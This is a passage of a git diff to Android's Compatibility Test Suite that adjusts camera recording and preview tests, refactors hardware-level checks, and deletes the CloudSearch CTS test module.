+ concurrentRearFrontReq.setConcurrentRearFrontSupported(supportPrimaryFrontBack);
- reportLog.addValue("Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
- final String PERF_CLASS_REQ_NUM_PREFIX = "2.2.7.2/7.5/";
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-1",
- perfClassLevelH11, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-2",
- perfClassLevelH12, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-3",
- perfClassLevelH13, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-4",
- perfClassLevelH14, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-8",
- perfClassLevelH18, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-9",
- perfClassLevelH19, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-10",
- perfClassLevelH110, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-11",
- perfClassLevelH111, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-12",
- perfClassLevelH112, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-13",
- perfClassLevelH113, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-14",
- perfClassLevelH114, ResultType.NEUTRAL, ResultUnit.NONE);
- reportLog.submit(InstrumentationRegistry.getInstrumentation());
+ pce.submitAndCheck();
}
/**
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 3c88a3a..c9c28ea 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1234,8 +1234,13 @@
mOutMediaFileName = mDebugFileNameBase + "/test_cslowMo_video_" +
captureRate + "fps_" + id + "_" + size.toString() + ".mp4";
- Log.v(TAG, "previewFrameRate:" + previewFrameRate);
- prepareRecording(size, previewFrameRate, captureRate);
+
+ // b/239101664 It appears that video frame rates higher than 30 fps may not
+ // trigger slow motion recording consistently.
+ int videoFrameRate = previewFrameRate > VIDEO_FRAME_RATE ?
+ VIDEO_FRAME_RATE : previewFrameRate;
+ Log.v(TAG, "videoFrameRate:" + videoFrameRate);
+ prepareRecording(size, videoFrameRate, captureRate);
SystemClock.sleep(PREVIEW_DURATION_MS);
@@ -1243,7 +1248,7 @@
SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
// Start recording
- startSlowMotionRecording(/*useMediaRecorder*/true, previewFrameRate,
+ startSlowMotionRecording(/*useMediaRecorder*/true, videoFrameRate,
captureRate, fpsRange, resultListener,
/*useHighSpeedSession*/true);
@@ -1256,7 +1261,7 @@
startConstrainedPreview(fpsRange, previewResultListener);
// Convert number of frames camera produced into the duration in unit of ms.
- float frameDurationMs = 1000.0f / previewFrameRate;
+ float frameDurationMs = 1000.0f / videoFrameRate;
float durationMs = resultListener.getTotalNumFrames() * frameDurationMs;
// Validation.
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index 88f2710..8e0f1b9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -299,11 +299,11 @@
if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
mCollector.expectTrue(
String.format("Camera %s: Preview peak frame interval affected by use of new " +
- " stream: preview avg frame duration: %f ms, peak with new stream: %f ms",
+ " stream: preview peak frame interval: %f ms, peak with new stream: %f ms",
cameraId,
- frameDurationStats.first / 1e6, preparedFrameDurationStats.second / 1e6),
+ frameDurationStats.second / 1e6, preparedFrameDurationStats.second / 1e6),
(preparedFrameDurationStats.second <=
- Math.max(frameDurationStats.first, readerMinFrameDuration) *
+ Math.max(frameDurationStats.second, readerMinFrameDuration) *
(1 + PREPARE_PEAK_RATE_BOUNDS)));
mCollector.expectTrue(
String.format("Camera %s: Preview average frame interval affected by use of new " +
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index e8d6168..4a86b49 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -142,8 +142,6 @@
public static final String OFFLINE_CAMERA_ID = "offline_camera_id";
public static final String REPORT_LOG_NAME = "CtsCameraTestCases";
- public static final String MPC_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
- public static final String MPC_STREAM_NAME = "CameraCts";
private static final int EXIF_DATETIME_LENGTH = 19;
private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60;
@@ -3815,33 +3813,6 @@
return zoomRatios;
}
- public static final int PERFORMANCE_CLASS_NOT_MET = 0;
- public static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
- public static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
- public static final int PERFORMANCE_CLASS_T = Build.VERSION_CODES.S + 2;
- public static final int PERFORMANCE_CLASS_CURRENT = PERFORMANCE_CLASS_T;
-
- /**
- * Check whether this mobile device is R performance class as defined in CDD
- */
- public static boolean isRPerfClass() {
- return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R;
- }
-
- /**
- * Check whether this mobile device is S performance class as defined in CDD
- */
- public static boolean isSPerfClass() {
- return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S;
- }
-
- /**
- * Check whether this mobile device is T performance class as defined in CDD
- */
- public static boolean isTPerfClass() {
- return Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_T;
- }
-
/**
* Check whether a camera Id is a primary rear facing camera
*/
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index fc8c4db..f188685 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -229,6 +229,13 @@
* at least the desired one (but could be higher)
*/
public boolean isHardwareLevelAtLeast(int level) {
+ int deviceLevel = getHardwareLevelChecked();
+
+ return hardwareLevelPredicate(deviceLevel, level);
+ }
+
+ // Return true if level1 is at least level2
+ public static boolean hardwareLevelPredicate(int level1, int level2) {
final int[] sortedHwLevels = {
CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY,
CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL,
@@ -236,19 +243,19 @@
CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL,
CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_3
};
- int deviceLevel = getHardwareLevelChecked();
- if (level == deviceLevel) {
+
+ if (level1 == level2) {
return true;
}
for (int sortedlevel : sortedHwLevels) {
- if (sortedlevel == level) {
+ if (sortedlevel == level2) {
return true;
- } else if (sortedlevel == deviceLevel) {
+ } else if (sortedlevel == level1) {
return false;
}
}
- Assert.fail("Unknown hardwareLevel " + level + " and device hardware level " + deviceLevel);
+ Assert.fail("Unknown hardwareLevel " + level1 + " and device hardware level " + level2);
return false;
}
diff --git a/tests/cloudsearch/Android.bp b/tests/cloudsearch/Android.bp
deleted file mode 100644
index 99e7329..0000000
--- a/tests/cloudsearch/Android.bp
+++ /dev/null
@@ -1,35 +0,0 @@
-// Copyright (C) 2022 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test {
- name: "CtsCloudSearchServiceTestCases",
- defaults: ["cts_defaults"],
- static_libs: [
- "androidx.annotation_annotation",
- "compatibility-device-util-axt",
- "ctstestrunner-axt",
- "truth-prebuilt",
- ],
- srcs: ["src/**/*.java"],
- // Tag this module as a cts test artifact
- test_suites: [
- "cts",
- "general-tests",
- ],
- sdk_version: "test_current",
-}
diff --git a/tests/cloudsearch/AndroidManifest.xml b/tests/cloudsearch/AndroidManifest.xml
deleted file mode 100644
index e063ee4..0000000
--- a/tests/cloudsearch/AndroidManifest.xml
+++ /dev/null
@@ -1,43 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.cloudsearch.cts"
- android:targetSandboxVersion="2">
-
- <uses-permission android:name="android.permission.MANAGE_CLOUDSEARCH"/>
-
- <application>
- <service android:name=".CtsCloudSearchService"
- android:exported="true"
- android:label="CtsDummyCloudSearchService">
- <intent-filter>
- <!-- This constant must match CloudSearchService.SERVICE_INTERFACE -->
- <action android:name="android.service.cloudsearch.CloudSearchService"/>
- </intent-filter>
- </service>
-
- <uses-library android:name="android.test.runner"/>
-
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:label="CTS tests for the App CloudSearch System APIs."
- android:targetPackage="android.cloudsearch.cts">
- </instrumentation>
-
-</manifest>
diff --git a/tests/cloudsearch/AndroidTest.xml b/tests/cloudsearch/AndroidTest.xml
deleted file mode 100644
index 1ede8e7..0000000
--- a/tests/cloudsearch/AndroidTest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2022 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CloudSearch CTS tests.">
- <option name="test-suite-tag" value="cts"/>
- <option name="config-descriptor:metadata" key="component" value="framework"/>
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app"/>
- <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi"/>
- <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true"/>
- <option name="test-file-name" value="CtsCloudSearchServiceTestCases.apk"/>
- </target_preparer>
-
- <test class="com.android.tradefed.testtype.AndroidJUnitTest">
- <option name="package" value="android.cloudsearch.cts"/>
- <!-- 20x default timeout of 600sec -->
- <option name="shell-timeout" value="12000000"/>
- </test>
-
-</configuration>
diff --git a/tests/cloudsearch/OWNERS b/tests/cloudsearch/OWNERS
deleted file mode 100644
index 27493ba..0000000
--- a/tests/cloudsearch/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 758286
-huiwu@google.com
-srazdan@google.com
diff --git a/tests/cloudsearch/TEST_MAPPING b/tests/cloudsearch/TEST_MAPPING
deleted file mode 100644
index 8706339..0000000
--- a/tests/cloudsearch/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
- "presubmit": [
- {
- "name": "CtsCloudSearchServiceTestCases"
- }
- ]
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchManagerTest.java b/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchManagerTest.java
deleted file mode 100644
index 1b6d8b6..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchManagerTest.java
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cloudsearch.cts;
-
-import static androidx.test.InstrumentationRegistry.getContext;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assert.assertNotNull;
-
-import android.app.cloudsearch.CloudSearchManager;
-import android.app.cloudsearch.SearchRequest;
-import android.app.cloudsearch.SearchResponse;
-import android.content.Context;
-import android.os.Process;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.RequiredServiceRule;
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests for {@link CloudSearchManager}
- *
- * atest CtsSmartspaceServiceTestCases
- */
-@RunWith(AndroidJUnit4.class)
-public class CloudSearchManagerTest implements CloudSearchManager.CallBack {
-
- private static final String TAG = "CloudSearchManagerTest";
- private static final boolean DEBUG = true;
-
- private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 40_000;
-
- @Rule
- public final RequiredServiceRule mRequiredServiceRule =
- new RequiredServiceRule(Context.CLOUDSEARCH_SERVICE);
-
- private CloudSearchManager mManager;
- private CtsCloudSearchService.Watcher mWatcher;
-
- @Before
- public void setUp() throws Exception {
- mWatcher = CtsCloudSearchService.setWatcher();
- mManager = getContext().getSystemService(CloudSearchManager.class);
- setService(CtsCloudSearchService.SERVICE_NAME);
-
- mManager.search(CloudSearchTestUtils.getBasicSearchRequest(""),
- Executors.newSingleThreadExecutor(), this);
- await(mWatcher.created, "Waiting for onCreate()");
- }
-
- @After
- public void tearDown() throws Exception {
- Log.d(TAG, "Starting tear down, watcher is: " + mWatcher);
- setService(null);
- mWatcher = null;
- CtsCloudSearchService.clearWatcher();
- }
-
- @Test
- public void testCloudSearchServiceConnection() {
- assertNotNull(mManager);
- await(mWatcher.queried, "Waiting for search()");
- }
-
- @Test
- public void testSuccessfulSearch() {
- assertNotNull(mManager);
- await(mWatcher.queried, "Waiting for search()");
- mManager.search(CloudSearchTestUtils.getBasicSearchRequest("Successful"),
- Executors.newSingleThreadExecutor(), this);
- await(mWatcher.succeeded, "Waiting for successful search");
- }
-
- @Test
- public void testUnsuccessfulSearch() {
- assertNotNull(mManager);
- await(mWatcher.queried, "Waiting for search()");
- mManager.search(CloudSearchTestUtils.getBasicSearchRequest("Unsuccessful"),
- Executors.newSingleThreadExecutor(), this);
- await(mWatcher.failed, "Waiting for unsuccessful search");
- }
-
- // TODO(b/231624083): Content missing in CtsCloudSearchTestCases during platform updates
- @Test
- public void testMultipleCallbacksSearch() {
- assertNotNull(mManager);
- await(mWatcher.queried, "Waiting for search()");
- mManager.search(CloudSearchTestUtils.getBasicSearchRequest("Unsuccessful and Successful"),
- Executors.newSingleThreadExecutor(), this);
- // TODO(216520546) add a condition to send a SearchRequest without
- // CtsCloudSearchServiceas a provider.
- await(mWatcher.failed, "Waiting for unsuccessful search");
- await(mWatcher.succeeded, "Waiting for successful search");
- }
-
- private void setService(String service) {
- Log.d(TAG, "Setting cloudsearch service to " + service);
- int userId = Process.myUserHandle().getIdentifier();
- if (service != null) {
- runShellCommand("cmd cloudsearch set temporary-service "
- + userId + " " + service + " 60000");
- } else {
- runShellCommand("cmd cloudsearch set temporary-service " + userId);
- }
- }
-
- private void await(@NonNull CountDownLatch latch, @NonNull String message) {
- try {
- assertWithMessage(message).that(
- latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
- } catch (InterruptedException e) {
- Thread.currentThread().interrupt();
- throw new IllegalStateException("Interrupted while: " + message);
- }
- }
-
- private void runShellCommand(String command) {
- Log.d(TAG, "runShellCommand(): " + command);
- try {
- SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
- } catch (Exception e) {
- throw new RuntimeException("Command '" + command + "' failed: ", e);
- }
- }
-
- @Override
- public void onSearchSucceeded(SearchRequest request, SearchResponse response) {
- if (response.getStatusCode() == SearchResponse.SEARCH_STATUS_OK) {
- mWatcher.succeeded.countDown();
- }
- }
-
- @Override
- public void onSearchFailed(SearchRequest request, SearchResponse response) {
- if (response.getStatusCode() == SearchResponse.SEARCH_STATUS_NO_INTERNET) {
- mWatcher.failed.countDown();
- }
- }
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchTestUtils.java b/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchTestUtils.java
deleted file mode 100644
index ebcf967..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchTestUtils.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cloudsearch.cts;
-
-import android.app.cloudsearch.SearchRequest;
-import android.app.cloudsearch.SearchResponse;
-import android.os.Bundle;
-
-public class CloudSearchTestUtils {
- public static SearchRequest getBasicSearchRequest(String query) {
- final int rn = 20;
- final int offset = 0;
- Bundle constraints = new Bundle();
- constraints.putBoolean(SearchRequest.CONSTRAINT_IS_PRESUBMIT_SUGGESTION,
- true);
-
- return new SearchRequest.Builder(query).setResultNumber(rn)
- .setResultOffset(offset).setSearchConstraints(constraints).build();
- }
-
- public static SearchResponse getSearchResponse(int searchStatusCode) {
- return new SearchResponse.Builder(searchStatusCode).build();
- }
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/SearchRequestTest.java b/tests/cloudsearch/src/android/cloudsearch/cts/SearchRequestTest.java
deleted file mode 100644
index 5966d95..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/SearchRequestTest.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cloudsearch.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.cloudsearch.SearchRequest;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests for {@link SearchRequest}
- *
- * atest CtsCloudSearchServiceTestCases
- */
-@RunWith(AndroidJUnit4.class)
-public class SearchRequestTest {
-
- private static final String TAG = "CloudSearchTargetTest";
-
- @Test
- public void testCreateSearchRequest() {
- final String query = "bo";
- final int rn = 20;
- final int offset = 0;
- final float maxLatency = 100;
- Bundle constraints = new Bundle();
- constraints.putBoolean(SearchRequest.CONSTRAINT_IS_PRESUBMIT_SUGGESTION,
- true);
- final String pkgName = "android.cloudsearch.cts";
-
- SearchRequest request = new SearchRequest.Builder("").setResultNumber(rn)
- .setResultOffset(offset).setSearchConstraints(constraints).setQuery(query)
- .setMaxLatencyMillis(maxLatency).setCallerPackageName(pkgName).build();
-
- /** Check the original request. */
- assertThat(request.getQuery()).isEqualTo(query);
- assertThat(request.getResultNumber()).isEqualTo(rn);
- assertThat(request.getMaxLatencyMillis()).isEqualTo(maxLatency);
- assertThat(request.getResultOffset()).isEqualTo(offset);
- final Bundle sc = request.getSearchConstraints();
- assertThat(sc.getBoolean(SearchRequest.CONSTRAINT_IS_PRESUBMIT_SUGGESTION))
- .isEqualTo(true);
- assertThat(request.getCallerPackageName()).isEqualTo(pkgName);
-
- Parcel parcel = Parcel.obtain();
- parcel.setDataPosition(0);
- request.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- SearchRequest copy = SearchRequest.CREATOR.createFromParcel(parcel);
- /** Check the copied request. */
- assertThat(copy.getQuery()).isEqualTo(query);
- assertThat(copy.getResultNumber()).isEqualTo(rn);
- assertThat(copy.getMaxLatencyMillis()).isEqualTo(maxLatency);
- assertThat(copy.getResultOffset()).isEqualTo(offset);
- final Bundle sccopy = request.getSearchConstraints();
- assertThat(sccopy.getBoolean(SearchRequest.CONSTRAINT_IS_PRESUBMIT_SUGGESTION))
- .isEqualTo(true);
- assertThat(copy.getCallerPackageName()).isEqualTo(pkgName);
-
- parcel.recycle();
- }
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/SearchResponseTest.java b/tests/cloudsearch/src/android/cloudsearch/cts/SearchResponseTest.java
deleted file mode 100644
index 5a0e291..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/SearchResponseTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cloudsearch.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.cloudsearch.SearchResponse;
-import android.app.cloudsearch.SearchResult;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Tests for {@link SearchResponse}
- *
- * atest CtsCloudSearchServiceTestCases
- */
-@RunWith(AndroidJUnit4.class)
-public class SearchResponseTest {
-
- private static final String TAG = "CloudSearchTargetTest";
-
- @Test
- public void testCreateSearchResponse() {
- final int status = SearchResponse.SEARCH_STATUS_OK;
- final String source = "DEFAULT";
- List<SearchResult> results = new ArrayList<SearchResult>();
-
- final String titleA = "title a";
- final String snippetA = "Good Snippet a";
- final float scoreA = 10;
- Bundle extraInfosA = new Bundle();
- extraInfosA.putBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER,
- false);
- extraInfosA.putString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME,
- "best_app_developer a");
- SearchResult resultA = new SearchResult.Builder(titleA, extraInfosA)
- .setSnippet(snippetA).setScore(scoreA).build();
- results.add(resultA);
-
- final String titleB = "title B";
- final String snippetB = "Good Snippet B";
- final float scoreB = 20;
- Bundle extraInfosB = new Bundle();
- extraInfosB.putBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER,
- true);
- extraInfosB.putString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME,
- "best_app_developer B");
- SearchResult resultB = new SearchResult.Builder(titleB, extraInfosB)
- .setSnippet(snippetB).setScore(scoreB).build();
- results.add(resultB);
-
- SearchResponse response = new SearchResponse.Builder(SearchResponse.SEARCH_STATUS_UNKNOWN)
- .setSearchResults(results).setStatusCode(status).build();
-
- /** Checks the original response. */
- assertThat(response.getStatusCode()).isEqualTo(status);
- assertThat(response.getSource()).isEqualTo(source);
- assertThat(response.getSearchResults().size()).isEqualTo(2);
- final SearchResult firstResult = response.getSearchResults().get(0);
- assertThat(firstResult.getTitle()).isEqualTo(titleA);
- final SearchResult secondResult = response.getSearchResults().get(1);
- assertThat(secondResult.getTitle()).isEqualTo(titleB);
-
- Parcel parcel = Parcel.obtain();
- parcel.setDataPosition(0);
- response.writeToParcel(parcel, 0);
- parcel.setDataPosition(0);
- SearchResponse copy = SearchResponse.CREATOR.createFromParcel(parcel);
-
- /** Checks the copied response. */
- assertThat(copy.getStatusCode()).isEqualTo(status);
- assertThat(copy.getSource()).isEqualTo(source);
- assertThat(copy.getSearchResults().size()).isEqualTo(2);
- final SearchResult firstResultCopy = copy.getSearchResults().get(0);
- assertThat(firstResultCopy.getTitle()).isEqualTo(titleA);
- final SearchResult secondResultCopy = copy.getSearchResults().get(1);
- assertThat(secondResultCopy.getTitle()).isEqualTo(titleB);
-
- parcel.recycle();
- }
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/SearchResultTest.java b/tests/cloudsearch/src/android/cloudsearch/cts/SearchResultTest.java
deleted file mode 100644
index 9dd83f4..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/SearchResultTest.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cloudsearch.cts;
-
-import static androidx.test.InstrumentationRegistry.getContext;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.PendingIntent;
-import android.app.cloudsearch.SearchResult;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests for {@link SearchResult}
- *
- * atest CtsCloudSearchServiceTestCases
- */
-@RunWith(AndroidJUnit4.class)
-public class SearchResultTest {
-
- private static final String TAG = "CloudSearchTargetTest";
-
- @Test
- public void testCreateSearchResult() {
- final String title = "title";
- final String snippet = "Good Snippet";
- final float score = 10;
- Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.android.com"));
- PendingIntent pendingIntent = PendingIntent.getActivity(getContext(),
- 1, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
-
- Bundle extraInfos = new Bundle();
- extraInfos.putBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER,
- false);
- extraInfos.putString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME,
- "best_app_developer");
- extraInfos.putParcelable(SearchResult.EXTRAINFO_ACTION_INSTALL_BUTTON, pendingIntent);
- extraInfos.putParcelable(SearchResult.EXTRAINFO_ACTION_APP_CARD, pendingIntent);
- extraInfos.putString(SearchResult.EXTRAINFO_APP_PACKAGE_NAME,
- "best_package_name");
- extraInfos.putDouble(SearchResult.EXTRAINFO_APP_INSTALL_COUNT, 10);
-
- SearchResult result = new SearchResult.Builder(title, extraInfos)
- .setSnippet(snippet).setTitle(title).setExtraInfos(extraInfos)
- .setScore(score).build();
-
- /** Checks the original result. */
- assertThat(result.getTitle()).isEqualTo(title);
- assertThat(result.getSnippet()).isEqualTo(snippet);
- assertThat(result.getScore()).isEqualTo(score);
- final Bundle rExtraInfos = result.getExtraInfos();
- assertThat(rExtraInfos
- .getBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER))
- .isEqualTo(false);
- assertThat(rExtraInfos
- .getString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME))
- .isEqualTo("best_app_developer");
- assertThat((PendingIntent) rExtraInfos
- .getParcelable(SearchResult.EXTRAINFO_ACTION_INSTALL_BUTTON))
- .isEqualTo(pendingIntent);
- assertThat((PendingIntent) rExtraInfos
- .getParcelable(SearchResult.EXTRAINFO_ACTION_APP_CARD))
- .isEqualTo(pendingIntent);
- assertThat(rExtraInfos
- .getString(SearchResult.EXTRAINFO_APP_PACKAGE_NAME))
- .isEqualTo("best_package_name");
